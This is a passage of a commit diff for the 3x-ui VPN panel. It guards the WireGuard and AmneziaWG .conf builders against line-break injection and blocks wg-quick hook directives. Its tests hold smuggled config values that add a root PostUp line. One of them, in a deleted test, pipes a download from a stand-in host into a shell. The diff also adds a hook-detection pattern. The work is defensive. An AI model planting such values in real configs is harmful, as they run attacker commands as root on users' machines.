mirror of
https://github.com/MHSanaei/3x-ui.git
synced 2026-10-25 01:55:25 +08:00
fix(wireguard): check every line of generated client configs
The WireGuard and AmneziaWG .conf builders (subscription service, clients page, inbound modal and subscription page) checked only a few of the values they write. Each builder now assembles the file line by line and renders nothing when a line holds a control character, so every value is covered whatever stored it. A decoded vpn:// payload is refused when it carries a wg-quick hook directive, which no panel builder writes, and the subscription page hides a config block that rendered nothing. The inbound form now validates a WireGuard/AmneziaWG client's allowedIPs on create and on update, including the stored clients a protocol switch keeps, as the client endpoints already did.
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
// One entry per .conf line, or '' when any entry would split: a line break can
|
||||
// re-open [Interface], whose PostUp runs as root wherever wg-quick applies it.
|
||||
export function joinConfLines(lines: readonly string[]): string {
|
||||
return lines.some(hasControlChar) ? '' : lines.join('\n');
|
||||
}
|
||||
|
||||
function hasControlChar(line: string): boolean {
|
||||
for (let i = 0; i < line.length; i++) {
|
||||
const code = line.charCodeAt(i);
|
||||
if (code < 0x20 || code === 0x7f) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// wg-quick matches keys case-insensitively; no panel builder emits these hooks.
|
||||
const WG_QUICK_HOOK = /^\s*(?:pre|post)(?:up|down)\s*=/im;
|
||||
|
||||
export function hasWgQuickHook(conf: string): boolean {
|
||||
return WG_QUICK_HOOK.test(conf);
|
||||
}
|
||||
@@ -14,6 +14,7 @@ import type { FinalMaskStreamSettings } from '@/schemas/protocols/stream/finalma
|
||||
import type { XHttpStreamSettings } from '@/schemas/protocols/stream/xhttp';
|
||||
|
||||
import { parseGeckoPacketSize } from '@/lib/xray/forms/transport/FinalMaskForm';
|
||||
import { hasWgQuickHook, joinConfLines } from './conf-lines';
|
||||
import { getHeaderValue } from './headers';
|
||||
import { canEnableTlsFlow } from './protocol-capabilities';
|
||||
import { deriveSpiderX } from './spider-x';
|
||||
@@ -1016,25 +1017,24 @@ export function genWireguardConfig(input: GenWireguardLinkInput): string {
|
||||
const pubKey =
|
||||
settings.secretKey.length > 0 ? Wireguard.generateKeypair(settings.secretKey).publicKey : '';
|
||||
|
||||
let txt = `[Interface]\n`;
|
||||
txt += `PrivateKey = ${peer.privateKey ?? ''}\n`;
|
||||
txt += `Address = ${peer.allowedIPs.join(', ')}\n`;
|
||||
txt += `DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}\n`;
|
||||
const lines = [
|
||||
'[Interface]',
|
||||
`PrivateKey = ${peer.privateKey ?? ''}`,
|
||||
`Address = ${peer.allowedIPs.join(', ')}`,
|
||||
`DNS = ${settings.dns || '1.1.1.1, 1.0.0.1'}`,
|
||||
];
|
||||
if (typeof settings.mtu === 'number' && settings.mtu > 0) {
|
||||
txt += `MTU = ${settings.mtu}\n`;
|
||||
lines.push(`MTU = ${settings.mtu}`);
|
||||
}
|
||||
txt += `\n# ${remark}\n`;
|
||||
txt += `[Peer]\n`;
|
||||
txt += `PublicKey = ${pubKey}\n`;
|
||||
txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
|
||||
txt += `Endpoint = ${address}:${port}`;
|
||||
lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${pubKey}`, 'AllowedIPs = 0.0.0.0/0, ::/0');
|
||||
lines.push(`Endpoint = ${address}:${port}`);
|
||||
if (peer.preSharedKey && peer.preSharedKey.length > 0) {
|
||||
txt += `\nPresharedKey = ${peer.preSharedKey}`;
|
||||
lines.push(`PresharedKey = ${peer.preSharedKey}`);
|
||||
}
|
||||
if (typeof peer.keepAlive === 'number' && peer.keepAlive > 0) {
|
||||
txt += `\nPersistentKeepalive = ${peer.keepAlive}\n`;
|
||||
lines.push(`PersistentKeepalive = ${peer.keepAlive}`, '');
|
||||
}
|
||||
return txt;
|
||||
return joinConfLines(lines);
|
||||
}
|
||||
|
||||
// Shared input shape for both the per-client vpn:// link and .conf
|
||||
@@ -1086,39 +1086,25 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
|
||||
if (!client) return '';
|
||||
const server = settings.server;
|
||||
|
||||
// These land unescaped in the .conf; a newline would inject a config line
|
||||
// (e.g. a rogue PostUp) — same guard as the panel's other two emitters.
|
||||
for (const v of [
|
||||
client.privateKey ?? '',
|
||||
server.primaryDns ?? '',
|
||||
server.secondaryDns ?? '',
|
||||
remark,
|
||||
]) {
|
||||
if (/[\r\n]/.test(v)) return '';
|
||||
}
|
||||
|
||||
let txt = `[Interface]\n`;
|
||||
txt += `PrivateKey = ${client.privateKey ?? ''}\n`;
|
||||
txt += `Address = ${(client.allowedIPs ?? []).join(', ')}\n`;
|
||||
const lines = [
|
||||
'[Interface]',
|
||||
`PrivateKey = ${client.privateKey ?? ''}`,
|
||||
`Address = ${(client.allowedIPs ?? []).join(', ')}`,
|
||||
];
|
||||
const dns = [server.primaryDns, server.secondaryDns].filter((v) => !!v && v.trim() !== '');
|
||||
if (dns.length > 0) txt += `DNS = ${dns.join(', ')}\n`;
|
||||
txt += `MTU = ${effectiveMtu(server.mtu, server.s4)}\n`;
|
||||
txt += `Jc = ${server.jc}\n`;
|
||||
txt += `Jmin = ${server.jmin}\n`;
|
||||
txt += `Jmax = ${server.jmax}\n`;
|
||||
txt += `S1 = ${server.s1}\n`;
|
||||
txt += `S2 = ${server.s2}\n`;
|
||||
if (server.s3) txt += `S3 = ${server.s3}\n`;
|
||||
if (server.s4) txt += `S4 = ${server.s4}\n`;
|
||||
txt += `${amneziaWGHLine('H1', server.h1, '1')}\n`;
|
||||
txt += `${amneziaWGHLine('H2', server.h2, '2')}\n`;
|
||||
txt += `${amneziaWGHLine('H3', server.h3, '3')}\n`;
|
||||
txt += `${amneziaWGHLine('H4', server.h4, '4')}\n`;
|
||||
if (server.i1) txt += `I1 = ${server.i1}\n`;
|
||||
if (server.i2) txt += `I2 = ${server.i2}\n`;
|
||||
if (server.i3) txt += `I3 = ${server.i3}\n`;
|
||||
if (server.i4) txt += `I4 = ${server.i4}\n`;
|
||||
if (server.i5) txt += `I5 = ${server.i5}\n`;
|
||||
if (dns.length > 0) lines.push(`DNS = ${dns.join(', ')}`);
|
||||
lines.push(`MTU = ${effectiveMtu(server.mtu, server.s4)}`);
|
||||
lines.push(`Jc = ${server.jc}`, `Jmin = ${server.jmin}`, `Jmax = ${server.jmax}`);
|
||||
lines.push(`S1 = ${server.s1}`, `S2 = ${server.s2}`);
|
||||
if (server.s3) lines.push(`S3 = ${server.s3}`);
|
||||
if (server.s4) lines.push(`S4 = ${server.s4}`);
|
||||
lines.push(amneziaWGHLine('H1', server.h1, '1'), amneziaWGHLine('H2', server.h2, '2'));
|
||||
lines.push(amneziaWGHLine('H3', server.h3, '3'), amneziaWGHLine('H4', server.h4, '4'));
|
||||
if (server.i1) lines.push(`I1 = ${server.i1}`);
|
||||
if (server.i2) lines.push(`I2 = ${server.i2}`);
|
||||
if (server.i3) lines.push(`I3 = ${server.i3}`);
|
||||
if (server.i4) lines.push(`I4 = ${server.i4}`);
|
||||
if (server.i5) lines.push(`I5 = ${server.i5}`);
|
||||
const optional31: Array<[string, string | undefined]> = [
|
||||
['HeaderProtectionKey', server.headerProtectionKey],
|
||||
['ContentPaddingAddition', server.contentPaddingAddition],
|
||||
@@ -1129,25 +1115,22 @@ export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
|
||||
['MaxHandshakeAttempts', server.maxHandshakeAttempts],
|
||||
];
|
||||
for (const [key, value] of optional31) {
|
||||
if (value && value.trim() !== '') txt += `${key} = ${value}\n`;
|
||||
if (value && value.trim() !== '') lines.push(`${key} = ${value}`);
|
||||
}
|
||||
if (server.randomTrailers) txt += `RandomTrailers = on\n`;
|
||||
if (server.disableCookies) txt += `DisableCookies = on\n`;
|
||||
if (server.randomTrailers) lines.push('RandomTrailers = on');
|
||||
if (server.disableCookies) lines.push('DisableCookies = on');
|
||||
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
|
||||
// emitters (amneziaWGConfigText in Go, buildAmneziaWGClientConfig); all three
|
||||
// are independent implementations and must not drift apart.
|
||||
txt += `\n# ${remark}\n`;
|
||||
txt += `[Peer]\n`;
|
||||
txt += `PublicKey = ${server.publicKey ?? ''}\n`;
|
||||
lines.push('', `# ${remark}`, '[Peer]', `PublicKey = ${server.publicKey ?? ''}`);
|
||||
if (client.preSharedKey && client.preSharedKey.length > 0) {
|
||||
txt += `PresharedKey = ${client.preSharedKey}\n`;
|
||||
lines.push(`PresharedKey = ${client.preSharedKey}`);
|
||||
}
|
||||
txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
|
||||
txt += `Endpoint = ${address}:${port}`;
|
||||
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${address}:${port}`);
|
||||
if (typeof client.keepAlive === 'number' && client.keepAlive > 0) {
|
||||
txt += `\nPersistentKeepalive = ${client.keepAlive}`;
|
||||
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
|
||||
}
|
||||
return txt;
|
||||
return joinConfLines(lines);
|
||||
}
|
||||
|
||||
export interface GenAmneziaWGFanoutInput {
|
||||
@@ -1253,7 +1236,7 @@ export function wireguardConfigFromLink(link: string, fallbackRemark = ''): stri
|
||||
if (psk) lines.push(`PresharedKey = ${psk}`);
|
||||
lines.push(`AllowedIPs = ${allowedIPs}`, `Endpoint = ${endpoint}`);
|
||||
if (keepAlive && Number(keepAlive) > 0) lines.push(`PersistentKeepalive = ${keepAlive}`);
|
||||
return lines.join('\n');
|
||||
return joinConfLines(lines);
|
||||
}
|
||||
|
||||
// Reverse of toBase64Url above -- recovers a vpn:// link's plain .conf
|
||||
@@ -1278,7 +1261,8 @@ export function amneziawgConfigFromLink(link: string): string {
|
||||
const trimmed = link.trim();
|
||||
if (!trimmed.startsWith('vpn://')) return '';
|
||||
try {
|
||||
return fromBase64Url(trimmed.slice('vpn://'.length));
|
||||
const conf = fromBase64Url(trimmed.slice('vpn://'.length));
|
||||
return hasWgQuickHook(conf) ? '' : conf;
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ import type { HostEndpoint } from '@/lib/hosts/host-link';
|
||||
import { formatInboundLabel } from '@/lib/inbounds/label';
|
||||
import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
|
||||
import { effectiveMtu } from '@/lib/xray/amneziawg-obfuscation';
|
||||
import { joinConfLines } from '@/lib/xray/conf-lines';
|
||||
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
|
||||
|
||||
// AmneziaWG clients are wire-identical to WireGuard clients (same
|
||||
@@ -58,13 +59,7 @@ export function buildAmneziaWGClientConfig(
|
||||
.filter(Boolean)
|
||||
.join(' - ');
|
||||
|
||||
// These land unescaped in [Interface]; a newline here would inject a
|
||||
// config line (e.g. a rogue PostUp) into the downloaded .conf.
|
||||
const privateKey = client.privateKey || client.password || '';
|
||||
for (const v of [privateKey, server?.primaryDns ?? '', server?.secondaryDns ?? '', remark]) {
|
||||
if (/[\r\n]/.test(v)) return '';
|
||||
}
|
||||
|
||||
const dnsParts = [server?.primaryDns, server?.secondaryDns].filter((v) => !!v && v.trim() !== '');
|
||||
const lines = ['[Interface]', `PrivateKey = ${privateKey}`, `Address = ${address}`];
|
||||
if (dnsParts.length > 0) lines.push(`DNS = ${dnsParts.join(', ')}`);
|
||||
@@ -109,5 +104,5 @@ export function buildAmneziaWGClientConfig(
|
||||
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
|
||||
if (client.keepAlive && client.keepAlive > 0)
|
||||
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
|
||||
return lines.join('\n');
|
||||
return joinConfLines(lines);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import type { HostEndpoint } from '@/lib/hosts/host-link';
|
||||
import { formatInboundLabel } from '@/lib/inbounds/label';
|
||||
import { joinConfLines } from '@/lib/xray/conf-lines';
|
||||
import { preferPublicHost, resolveShareHost } from '@/lib/xray/inbound-link';
|
||||
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
|
||||
|
||||
@@ -54,5 +55,5 @@ export function buildWireguardClientConfig(
|
||||
lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
|
||||
if (client.keepAlive && client.keepAlive > 0)
|
||||
lines.push(`PersistentKeepalive = ${client.keepAlive}`);
|
||||
return lines.join('\n');
|
||||
return joinConfLines(lines);
|
||||
}
|
||||
|
||||
@@ -34,7 +34,8 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) {
|
||||
const parts = parseLinkParts(link);
|
||||
const rowTitle = parts?.remark || `Link ${idx + 1}`;
|
||||
const isWireguardLink = link.startsWith('wireguard://') || link.startsWith('wg://');
|
||||
const isAmneziawgLink = link.startsWith('vpn://');
|
||||
const wireguardConfig = isWireguardLink ? wireguardConfigFromLink(link, rowTitle) : '';
|
||||
const amneziawgConfig = link.startsWith('vpn://') ? amneziawgConfigFromLink(link) : '';
|
||||
return (
|
||||
<Fragment key={link}>
|
||||
<div className="sub-row">
|
||||
@@ -54,19 +55,19 @@ export default function SubConfigsTab({ links, onCopy }: SubConfigsTabProps) {
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
{isWireguardLink && (
|
||||
{wireguardConfig && (
|
||||
<ConfigBlock
|
||||
label={t('pages.clients.wireguardConfig')}
|
||||
text={wireguardConfigFromLink(link, rowTitle)}
|
||||
text={wireguardConfig}
|
||||
fileName={`${rowTitle || 'peer'}.conf`}
|
||||
qrRemark={rowTitle}
|
||||
tagColor="cyan"
|
||||
/>
|
||||
)}
|
||||
{isAmneziawgLink && (
|
||||
{amneziawgConfig && (
|
||||
<ConfigBlock
|
||||
label={t('pages.clients.amneziaWgConfig')}
|
||||
text={amneziawgConfigFromLink(link)}
|
||||
text={amneziawgConfig}
|
||||
fileName={`${rowTitle || 'peer'}.conf`}
|
||||
qrRemark={rowTitle}
|
||||
tagColor="purple"
|
||||
|
||||
@@ -1,92 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
|
||||
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
|
||||
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
|
||||
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
|
||||
|
||||
// A newline in a field that lands unescaped in [Interface] would inject a
|
||||
// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
|
||||
const INJECTED = 'x\nPostUp = curl evil.sh | sh';
|
||||
|
||||
function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
|
||||
return {
|
||||
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
|
||||
clients: [
|
||||
{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
|
||||
],
|
||||
} as unknown as AmneziawgInboundSettings;
|
||||
}
|
||||
|
||||
describe('AmneziaWG .conf newline-injection guard', () => {
|
||||
it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
|
||||
const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
|
||||
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
|
||||
'PrivateKey = clientPrivKey==',
|
||||
);
|
||||
expect(
|
||||
genAmneziaWGConfig({
|
||||
settings: settingsWith({}, { privateKey: INJECTED }),
|
||||
remark: 'ok',
|
||||
...base,
|
||||
}),
|
||||
).toBe('');
|
||||
expect(
|
||||
genAmneziaWGConfig({
|
||||
settings: settingsWith({ primaryDns: INJECTED }, {}),
|
||||
remark: 'ok',
|
||||
...base,
|
||||
}),
|
||||
).toBe('');
|
||||
expect(
|
||||
genAmneziaWGConfig({
|
||||
settings: settingsWith({ secondaryDns: INJECTED }, {}),
|
||||
remark: 'ok',
|
||||
...base,
|
||||
}),
|
||||
).toBe('');
|
||||
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
|
||||
'',
|
||||
);
|
||||
});
|
||||
|
||||
it('buildAmneziaWGClientConfig refuses injected fields', () => {
|
||||
const inbound = (server: Record<string, unknown>) =>
|
||||
({
|
||||
id: 1,
|
||||
tag: 'awg-1',
|
||||
remark: 'awg',
|
||||
port: 51820,
|
||||
protocol: 'amneziawg',
|
||||
awgServer: {
|
||||
publicKey: 'serverPubKey==',
|
||||
jc: 4,
|
||||
jmin: 40,
|
||||
jmax: 100,
|
||||
s1: 30,
|
||||
s2: 90,
|
||||
...server,
|
||||
},
|
||||
}) as unknown as InboundOption;
|
||||
const client = (extra: Record<string, unknown>) =>
|
||||
({
|
||||
email: 'peer-1',
|
||||
privateKey: 'clientPrivKey==',
|
||||
allowedIPs: '10.8.1.2/32',
|
||||
...extra,
|
||||
}) as unknown as ClientRecord;
|
||||
|
||||
expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
|
||||
'PrivateKey = clientPrivKey==',
|
||||
);
|
||||
expect(
|
||||
buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
|
||||
).toBe('');
|
||||
expect(
|
||||
buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
|
||||
).toBe('');
|
||||
expect(
|
||||
buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
|
||||
).toBe('');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,115 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import {
|
||||
amneziawgConfigFromLink,
|
||||
genAmneziaWGConfig,
|
||||
genWireguardConfig,
|
||||
wireguardConfigFromLink,
|
||||
} from '@/lib/xray/inbound-link';
|
||||
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
|
||||
import { buildWireguardClientConfig } from '@/pages/clients/wireguardConfig';
|
||||
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
|
||||
import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
|
||||
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
|
||||
|
||||
// A value carrying a line break adds a line such as a root PostUp to the .conf;
|
||||
// node sync, an import or an external subscription can each supply one.
|
||||
const INJECTED = '140232109\nPostUp = touch /tmp/pwned';
|
||||
|
||||
const endpoint = { address: 'vpn.example.test', port: 51820, peerIndex: 0, remark: 'peer-1' };
|
||||
|
||||
function awgSettings(h1: string) {
|
||||
return {
|
||||
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
|
||||
clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
|
||||
} as unknown as AmneziawgInboundSettings;
|
||||
}
|
||||
|
||||
function awgInbound(h1: string) {
|
||||
return {
|
||||
id: 1,
|
||||
tag: 'awg-1',
|
||||
remark: 'awg',
|
||||
port: 51820,
|
||||
protocol: 'amneziawg',
|
||||
awgServer: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
|
||||
} as unknown as InboundOption;
|
||||
}
|
||||
|
||||
function wgSettings(dns: string) {
|
||||
return {
|
||||
secretKey: '',
|
||||
mtu: 1420,
|
||||
dns,
|
||||
peers: [{ privateKey: 'clientPrivKey==', allowedIPs: ['10.0.0.2/32'] }],
|
||||
} as unknown as WireguardInboundSettings;
|
||||
}
|
||||
|
||||
function wgInbound(wgDns: string) {
|
||||
return {
|
||||
id: 2,
|
||||
tag: 'wg-1',
|
||||
remark: 'wg',
|
||||
port: 51820,
|
||||
protocol: 'wireguard',
|
||||
wgPublicKey: 'serverPubKey==',
|
||||
wgDns,
|
||||
} as unknown as InboundOption;
|
||||
}
|
||||
|
||||
const client = {
|
||||
email: 'peer-1',
|
||||
privateKey: 'clientPrivKey==',
|
||||
allowedIPs: '10.8.1.2/32',
|
||||
} as unknown as ClientRecord;
|
||||
|
||||
function vpnLink(conf: string): string {
|
||||
return `vpn://${btoa(conf).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')}`;
|
||||
}
|
||||
|
||||
describe('.conf builders render nothing when a value carries a line break', () => {
|
||||
it('genAmneziaWGConfig', () => {
|
||||
expect(genAmneziaWGConfig({ settings: awgSettings('1'), ...endpoint })).toContain('H1 = 1\n');
|
||||
expect(genAmneziaWGConfig({ settings: awgSettings(INJECTED), ...endpoint })).toBe('');
|
||||
});
|
||||
|
||||
it('buildAmneziaWGClientConfig', () => {
|
||||
expect(buildAmneziaWGClientConfig(client, awgInbound('1'), 'vpn.example.test')).toContain(
|
||||
'H1 = 1\n',
|
||||
);
|
||||
expect(buildAmneziaWGClientConfig(client, awgInbound(INJECTED), 'vpn.example.test')).toBe('');
|
||||
});
|
||||
|
||||
it('genWireguardConfig', () => {
|
||||
expect(genWireguardConfig({ settings: wgSettings('9.9.9.9'), ...endpoint })).toContain(
|
||||
'DNS = 9.9.9.9\n',
|
||||
);
|
||||
expect(genWireguardConfig({ settings: wgSettings(INJECTED), ...endpoint })).toBe('');
|
||||
});
|
||||
|
||||
it('buildWireguardClientConfig', () => {
|
||||
expect(buildWireguardClientConfig(client, wgInbound('9.9.9.9'), 'vpn.example.test')).toContain(
|
||||
'DNS = 9.9.9.9\n',
|
||||
);
|
||||
expect(buildWireguardClientConfig(client, wgInbound(INJECTED), 'vpn.example.test')).toBe('');
|
||||
});
|
||||
|
||||
it('wireguardConfigFromLink', () => {
|
||||
const link = (address: string) =>
|
||||
`wireguard://[email protected]:51820/?address=${address}&publickey=PEERPUB&dns=1.1.1.1&allowedips=0.0.0.0%2F0`;
|
||||
expect(wireguardConfigFromLink(link('10.0.0.2%2F32'))).toContain('Address = 10.0.0.2/32\n');
|
||||
expect(
|
||||
wireguardConfigFromLink(link('10.0.0.2%2F32%0APostUp%20%3D%20touch%20%2Ftmp%2Fpwned')),
|
||||
).toBe('');
|
||||
});
|
||||
});
|
||||
|
||||
describe('amneziawgConfigFromLink', () => {
|
||||
// A vpn:// payload is a whole .conf from wherever the subscription got it;
|
||||
// no panel builder writes a wg-quick hook, so one in a payload was planted.
|
||||
it('refuses a payload that carries a wg-quick hook directive', () => {
|
||||
const clean = '[Interface]\nPrivateKey = k\nAddress = 10.8.1.2/32';
|
||||
expect(amneziawgConfigFromLink(vpnLink(clean))).toBe(clean);
|
||||
expect(amneziawgConfigFromLink(vpnLink(`${clean}\n postup = touch /tmp/pwned`))).toBe('');
|
||||
});
|
||||
});
|
||||
+37
-37
@@ -983,20 +983,12 @@ func amneziaWGHeaderOrDefault(value, fallback string) string {
|
||||
// frontend's genAmneziaWGConfig produces (same field order, same optional-field
|
||||
// conditionals) -- this is the payload wrapped into vpn:// links below.
|
||||
func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string {
|
||||
// These land unescaped in [Interface]; a newline here would inject a
|
||||
// config line (e.g. a rogue PostUp) into the subscriber's .conf.
|
||||
for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} {
|
||||
if strings.ContainsAny(v, "\r\n") {
|
||||
return ""
|
||||
}
|
||||
lines := []string{
|
||||
"[Interface]",
|
||||
"PrivateKey = " + client.PrivateKey,
|
||||
"Address = " + strings.Join(client.AllowedIPs, ", "),
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
|
||||
b.WriteString("[Interface]\n")
|
||||
fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey)
|
||||
fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", "))
|
||||
|
||||
var dns []string
|
||||
if server.PrimaryDNS != "" {
|
||||
dns = append(dns, server.PrimaryDNS)
|
||||
@@ -1005,30 +997,34 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client,
|
||||
dns = append(dns, server.SecondaryDNS)
|
||||
}
|
||||
if len(dns) > 0 {
|
||||
fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", "))
|
||||
lines = append(lines, "DNS = "+strings.Join(dns, ", "))
|
||||
}
|
||||
// Always emitted: a missing MTU line leaves the client on its own 1420
|
||||
// default and fragments the client-to-server direction once S4 passes 20.
|
||||
fmt.Fprintf(&b, "MTU = %d\n", amneziawg.EffectiveMTU(server.MTU, server.S4))
|
||||
lines = append(lines, fmt.Sprintf("MTU = %d", amneziawg.EffectiveMTU(server.MTU, server.S4)))
|
||||
|
||||
fmt.Fprintf(&b, "Jc = %d\n", server.Jc)
|
||||
fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin)
|
||||
fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax)
|
||||
fmt.Fprintf(&b, "S1 = %d\n", server.S1)
|
||||
fmt.Fprintf(&b, "S2 = %d\n", server.S2)
|
||||
lines = append(lines,
|
||||
fmt.Sprintf("Jc = %d", server.Jc),
|
||||
fmt.Sprintf("Jmin = %d", server.Jmin),
|
||||
fmt.Sprintf("Jmax = %d", server.Jmax),
|
||||
fmt.Sprintf("S1 = %d", server.S1),
|
||||
fmt.Sprintf("S2 = %d", server.S2),
|
||||
)
|
||||
if server.S3 > 0 {
|
||||
fmt.Fprintf(&b, "S3 = %d\n", server.S3)
|
||||
lines = append(lines, fmt.Sprintf("S3 = %d", server.S3))
|
||||
}
|
||||
if server.S4 > 0 {
|
||||
fmt.Fprintf(&b, "S4 = %d\n", server.S4)
|
||||
lines = append(lines, fmt.Sprintf("S4 = %d", server.S4))
|
||||
}
|
||||
fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1"))
|
||||
fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2"))
|
||||
fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3"))
|
||||
fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4"))
|
||||
lines = append(lines,
|
||||
"H1 = "+amneziaWGHeaderOrDefault(server.H1, "1"),
|
||||
"H2 = "+amneziaWGHeaderOrDefault(server.H2, "2"),
|
||||
"H3 = "+amneziaWGHeaderOrDefault(server.H3, "3"),
|
||||
"H4 = "+amneziaWGHeaderOrDefault(server.H4, "4"),
|
||||
)
|
||||
for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} {
|
||||
if v != "" {
|
||||
fmt.Fprintf(&b, "I%d = %s\n", i+1, v)
|
||||
lines = append(lines, fmt.Sprintf("I%d = %s", i+1, v))
|
||||
}
|
||||
}
|
||||
optional := []struct{ key, v string }{
|
||||
@@ -1042,33 +1038,37 @@ func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client,
|
||||
}
|
||||
for _, p := range optional {
|
||||
if p.v != "" {
|
||||
fmt.Fprintf(&b, "%s = %s\n", p.key, p.v)
|
||||
lines = append(lines, p.key+" = "+p.v)
|
||||
}
|
||||
}
|
||||
if server.RandomTrailers {
|
||||
b.WriteString("RandomTrailers = on\n")
|
||||
lines = append(lines, "RandomTrailers = on")
|
||||
}
|
||||
if server.DisableCookies {
|
||||
b.WriteString("DisableCookies = on\n")
|
||||
lines = append(lines, "DisableCookies = on")
|
||||
}
|
||||
|
||||
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
|
||||
// emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are
|
||||
// independent implementations, so any drift here is invisible until a user
|
||||
// compares a subscription link against a downloaded .conf.
|
||||
fmt.Fprintf(&b, "\n# %s\n", remark)
|
||||
b.WriteString("[Peer]\n")
|
||||
fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey)
|
||||
lines = append(lines, "", "# "+remark, "[Peer]", "PublicKey = "+server.PublicKey)
|
||||
if client.PreSharedKey != "" {
|
||||
fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey)
|
||||
lines = append(lines, "PresharedKey = "+client.PreSharedKey)
|
||||
}
|
||||
b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n")
|
||||
fmt.Fprintf(&b, "Endpoint = %s:%d", host, port)
|
||||
lines = append(lines, "AllowedIPs = 0.0.0.0/0, ::/0", fmt.Sprintf("Endpoint = %s:%d", host, port))
|
||||
if ka := client.KeepAliveSeconds(); ka > 0 {
|
||||
fmt.Fprintf(&b, "\nPersistentKeepalive = %d", ka)
|
||||
lines = append(lines, fmt.Sprintf("PersistentKeepalive = %d", ka))
|
||||
}
|
||||
|
||||
return b.String()
|
||||
// A control character would split its line, and the split can re-open
|
||||
// [Interface], whose PostUp runs as root wherever awg-quick applies this.
|
||||
for _, line := range lines {
|
||||
if amneziawg.ValidateConfigValue("config line", line) != nil {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// genAmneziaWGLink builds a per-client vpn://<base64url .conf text> share
|
||||
|
||||
@@ -241,9 +241,9 @@ func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
// A newline in a field that lands unescaped in [Interface] would inject a
|
||||
// config line (e.g. a rogue PostUp); the emitter must refuse to render it.
|
||||
func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
|
||||
// A value carrying a line break would add a line such as a root PostUp to the
|
||||
// subscriber's .conf; a node reports server fields that no save path validated.
|
||||
func TestAmneziaWGConfigTextRejectsLineBreakInAnyValue(t *testing.T) {
|
||||
server := &amneziawg.ServerSettings{
|
||||
